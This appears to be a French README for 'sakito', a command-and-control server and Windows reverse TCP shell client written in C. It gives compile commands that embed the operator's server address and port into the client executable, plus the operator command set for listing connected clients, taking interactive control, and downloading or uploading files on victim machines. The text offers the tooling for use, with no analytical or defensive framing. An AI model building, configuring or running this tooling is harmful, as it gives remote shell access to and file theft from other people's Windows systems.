
Multithreadé, multi-OS/plateforme (Linux/Windows) serveur C2 et client shell inverse TCP Windows, tous deux écrits en C.
Serveur C2 multi-threadé, multi-OS/plateforme (Linux/Windows) et client Windows reverse TCP shell, tous deux écrits en C.
Compilation du client reverse TCP shell avec i686-w64-mingw32-gcc:
i686-w64-mingw32-gcc sakito_revshell.c lib/windows/sakito_win_core.c -o sakito_revshell.exe -s -ffunction-sections -fdata-sections -fno-exceptions -fmerge-all-constants -static-libgcc -lws2_32 -D PORT=<port_number> -D HOST=\"<server_ipv4_address>\"
Compilation du client reverse TCP shell avec cl.exe dans l'invite de commandes développeur:
cl.exe sakito_revshell.c lib/windows/sakito_win_core.c /D PORT=<port_number> /D HOST=\"<server_ipv4_address>\"
Compilation du serveur Linux avec GCC:
gcc -pthread sakito_server.c lib/sakito_server_tools.c lib/linux/sakito_slin_utils.c -o sakito_server -D PORT=<port_number>
Compilation du serveur Windows avec cl.exe dans l'invite de commandes développeur:
cl.exe sakito_server.c lib/windows/sakito_win_core.c lib/sakito_server_tools.c lib/windows/sakito_swin_utils.c /D PORT=<port_number>
Liste des commandes :
list: lister les connexions disponibles.
interact [id]: interagir avec le client.
download [filename]: télécharger un fichier du système de fichiers du client vers celui du serveur.
upload [filename]: télécharger un fichier du système de fichiers du serveur vers celui du client.
background: mettre le client en arrière-plan.
exit: terminer le client ou l'hôte.
cd [dir]: changer de répertoire sur le client ou l'hôte.